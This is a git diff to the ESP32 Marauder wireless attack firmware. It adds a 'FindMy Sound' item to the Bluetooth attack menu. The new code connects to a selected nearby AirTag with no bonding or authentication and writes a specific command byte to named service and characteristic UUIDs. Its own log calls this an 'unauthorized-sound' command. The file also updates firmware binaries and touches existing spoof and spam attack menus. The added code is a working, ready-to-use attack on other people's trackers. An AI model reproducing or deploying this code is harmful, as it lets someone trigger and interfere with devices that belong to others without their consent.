diff --git a/C5_Py_Flasher_for_adapter/bins/bootloader.bin b/C5_Py_Flasher_for_adapter/bins/bootloader.bin index 00db978..4a2d19c 100644 Binary files a/C5_Py_Flasher_for_adapter/bins/bootloader.bin and b/C5_Py_Flasher_for_adapter/bins/bootloader.bin differ diff --git a/C5_Py_Flasher_for_adapter/bins/esp32_marauder_v1_14_0.bin b/C5_Py_Flasher_for_adapter/bins/esp32_marauder_v1_14_0.bin new file mode 100644 index 0000000..5edb1b9 Binary files /dev/null and b/C5_Py_Flasher_for_adapter/bins/esp32_marauder_v1_14_0.bin differ diff --git a/C5_Py_Flasher_for_adapter/bins/esp32_marauder_v1_8_5_esp32c5devkitc1.bin b/C5_Py_Flasher_for_adapter/bins/esp32_marauder_v1_8_5_esp32c5devkitc1.bin deleted file mode 100644 index 2b1eb7a..0000000 Binary files a/C5_Py_Flasher_for_adapter/bins/esp32_marauder_v1_8_5_esp32c5devkitc1.bin and /dev/null differ diff --git a/esp32_marauder/MenuFunctions.cpp b/esp32_marauder/MenuFunctions.cpp index 6ce21d5..3786680 100644 --- a/esp32_marauder/MenuFunctions.cpp +++ b/esp32_marauder/MenuFunctions.cpp @@ -3154,7 +3154,6 @@ void MenuFunctions::RunSetup() //#ifndef HAS_ILI9341 #ifdef HAS_BT - // Select Airtag on Mini this->addNodes(&bluetoothAttackMenu, "Spoof Airtag", TFTWHITE, ATTACKS, [this](){ wifiAPMenu.parentMenu = &bluetoothAttackMenu; @@ -3199,6 +3198,58 @@ void MenuFunctions::RunSetup() this->changeMenu(&wifiAPMenu, true); }); + this->addNodes(&bluetoothAttackMenu, "FindMy Sound", TFTCYAN, ATTACKS, [this](){ + wifiAPMenu.parentMenu = &bluetoothAttackMenu; + + // Clear nodes and add back button + wifiAPMenu.list->clear(); + this->addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, 0, [this]() { + this->changeMenu(wifiAPMenu.parentMenu, true); + }); + + // Add buttons for all airtags + // Find out how big our menu is going to be + int menu_limit; + if (airtags->size() <= BUTTON_ARRAY_LEN) + menu_limit = airtags->size(); + else + menu_limit = BUTTON_ARRAY_LEN; + + // Create the menu nodes for all of the list items + for (int i = 0; i < menu_limit; i++) { + uint8_t node_color = rssiToMenuColor(airtags->get(i).rssi); + String node_name = String(airtags->get(i).rssi) + " " + airtags->get(i).mac; + this->addNodes(&wifiAPMenu, node_name.c_str(), node_color, BLUETOOTH, [this, i](){ + AirTag new_at = airtags->get(i); + new_at.selected = true; + + airtags->set(i, new_at); + + // Set all other airtags to "Not Selected" + for (int x = 0; x < airtags->size(); x++) { + if (x != i) { + AirTag new_atx = airtags->get(x); + new_atx.selected = false; + airtags->set(x, new_atx); + } + } + + // Start the spoof + display_obj.clearScreen(); + this->drawStatusBar(); + wifi_scan_obj.executeFindMySound(true); + delay(2000); + this->changeMenu(&wifiAPMenu, true); + }); + } + this->changeMenu(&wifiAPMenu, true); + }); + + wifiAPMenu.parentMenu = &bluetoothAttackMenu; + this->addNodes(&wifiAPMenu, text09, TFTLIGHTGREY, 0, [this]() { + this->changeMenu(wifiAPMenu.parentMenu, true); + }); + wifiAPMenu.parentMenu = &bluetoothAttackMenu; this->addNodes(&wifiAPMenu, text09, TFTLIGHTGREY, 0, [this]() { this->changeMenu(wifiAPMenu.parentMenu, true); diff --git a/esp32_marauder/WiFiScan.cpp b/esp32_marauder/WiFiScan.cpp index 0ddbb0e..d6980f9 100644 --- a/esp32_marauder/WiFiScan.cpp +++ b/esp32_marauder/WiFiScan.cpp @@ -391,6 +391,8 @@ extern "C" { airtag.payloadSize = len; airtag.rssi = rssi; airtag.last_seen = millis(); + airtag.is_airtag = true; + airtag.device_address = advertisedDevice->getAddress(); airtags->add(airtag); @@ -1025,6 +1027,8 @@ extern "C" { #endif airtag.rssi = rssi; airtag.last_seen = millis(); + airtag.is_airtag = true; + airtag.device_address = advertisedDevice->getAddress(); airtags->add(airtag); @@ -4514,6 +4518,167 @@ void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color) { initTime = millis(); } +#ifdef HAS_BT +bool WiFiScan::connectAndProcessTracker(NimBLEAddress& address) { + //const NimBLEAddress address(targ_addr, addr_type); + NimBLEDevice::init("Tracker-Client"); + + /* + * Do not proactively require bonding, MITM, or Secure Connections. + */ + NimBLEDevice::setSecurityAuth( + false, + false, + false + ); + + nimbleClient = NimBLEDevice::createClient(); + + if (nimbleClient == nullptr) { + Serial.printf("Failed to create NimBLE client\n"); + + return false; + } + + Serial.println(address.toString().c_str()); + + nimbleClient->setConnectTimeout(5000); + + if (!nimbleClient->connect(address, true, false, true)) { + Serial.printf("Connection failed; error=%d\n", nimbleClient->getLastError()); + + return false; + } + + return true; +} + +bool WiFiScan::sendAirtagSoundCommand(NimBLEClient* currentClient) { + if (currentClient == nullptr || !currentClient->isConnected()) + return false; + + NimBLERemoteService* service = currentClient->getService(AIRTAG_SERVICE_UUID); + + if (service == nullptr) { + Serial.println("AirTag service unavailable"); + + return false; + } + + NimBLERemoteCharacteristic* characteristic = service->getCharacteristic(AIRTAG_CHARACTERISTIC_UUID); + + if (characteristic == nullptr) { + Serial.println("AirTag sound characteristic unavailable"); + + return false; + } + + if (!characteristic->canWrite()) { + Serial.println("AirTag sound characteristic does not advertise WRITE"); + + return false; + } + + if (!currentClient->isConnected()) { + Serial.println("Airtag dropped connection before send"); + return false; + } + + Serial.println("Submitting AirTag unauthorized-sound command..."); + + const bool writeReturnedSuccess = characteristic->writeValue(&AIRTAG_BEEP_COMMAND, sizeof(AIRTAG_BEEP_COMMAND), true); + + if (writeReturnedSuccess) { + Serial.println("AirTag write acknowledged normally"); + + return true; + } + + /*if (airTagCompletionSeen) { + Serial.printf( + "[%s] AirTag sound command completed through " + "expected remote disconnect\n", + TAG + ); + + return true; + }*/ + + Serial.println("AirTag sound command failed"); + + return false; +} + +bool WiFiScan::executeFindMySound(bool gui) { + bool send_success = false; + bool selected = false; + + #ifdef HAS_SCREEN + if (gui) { + display_obj.clearScreen(); + display_obj.tft.setCursor(0, (TFT_HEIGHT / 4)); + display_obj.tft.println("Sending sound command...\n"); + } + #endif + + for (int i = 0; i < airtags->size(); i++) { + + AirTag airtag = airtags->get(i); + + if (airtag.selected) { + #ifdef HAS_SCREEN + if (gui) + display_obj.tft.println("Targeting " + airtag.mac); + #endif + + selected = true; + + uint8_t addr[6]; + + convertMacStringToUint8(airtag.mac, addr); + + if (this->connectAndProcessTracker(airtag.device_address)) { + Serial.println("Connected to " + airtag.mac); + #ifdef HAS_SCREEN + if (gui) + display_obj.tft.println("Connected"); + #endif + + if (airtag.is_airtag) { + send_success = this->sendAirtagSoundCommand(nimbleClient); + if (send_success) { + #ifdef HAS_SCREEN + if (gui) + display_obj.tft.println("Command sent"); + #endif + } + } + } else { + #ifdef HAS_SCREEN + if (gui) + display_obj.tft.println("Failed to connect"); + #endif + } + } + } + + if (nimbleClient != nullptr) { + if (nimbleClient->isConnected()) { + Serial.println("Disconnecting locally..."); + + nimbleClient->disconnect(); + } + + NimBLEDevice::deleteClient(nimbleClient); + nimbleClient = nullptr; + } + + NimBLEDevice::deinit(true); + + return send_success; +} +#endif + void WiFiScan::executeBLESpam(EBLEPayloadType type) { #ifdef HAS_BT uint32_t now_time = millis(); diff --git a/esp32_marauder/WiFiScan.h b/esp32_marauder/WiFiScan.h index ac5614f..9208ae8 100644 --- a/esp32_marauder/WiFiScan.h +++ b/esp32_marauder/WiFiScan.h @@ -164,6 +164,7 @@ #define BT_ATTACK_APPLE_JUICE 82 #define WIFI_SCAN_DISPLAY_AP_INFO 83 #define BT_SCAN_FOX_HUNT 84 +#define BT_FINDMY_SOUND 85 #define WIFI_ATTACK_FUNNY_BEACON 99 @@ -253,6 +254,16 @@ esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, b #define VALID_ENTRY 1 #define TOMBSTONE_ENTRY 2 +static constexpr uint8_t AIRTAG_BEEP_COMMAND = 0xAF; + +static const NimBLEUUID AIRTAG_SERVICE_UUID( + "7dfc9000-7d1c-4951-86aa-8d9728f8d66c" +); + +static const NimBLEUUID AIRTAG_CHARACTERISTIC_UUID( + "7dfc9001-7d1c-4951-86aa-8d9728f8d66c" +); + #pragma pack(push, 1) struct MacEntry { uint8_t mac[6]; @@ -276,6 +287,10 @@ struct AirTag { bool selected; int8_t rssi; uint32_t last_seen; + bool is_airtag = false; + bool is_fmna = false; + bool is_dult = false; + NimBLEAddress device_address; }; struct Flipper { @@ -357,6 +372,7 @@ class WiFiScan const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA}; #ifdef HAS_BT NimBLEScan* pBLEScan; + NimBLEClient* nimbleClient; #endif const char* rick_roll[8] = { @@ -608,6 +624,11 @@ class WiFiScan NimBLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType type); #endif + #ifdef HAS_BT + bool connectAndProcessTracker(NimBLEAddress& address); + bool sendAirtagSoundCommand(NimBLEClient* currentClient); + #endif + bool wigleUpload(String filePath); bool wdgwarsUpload(String filePath); void writeSidecar(String filePath, String service); @@ -908,6 +929,7 @@ class WiFiScan void save_mac(unsigned char* mac); #ifdef HAS_BT void copyNimbleMac(const BLEAddress &addr, unsigned char out[6]); + bool executeFindMySound(bool gui = false); #endif bool filterActive(); bool RunGPSInfo(bool tracker = false, bool display = true, bool poi = false);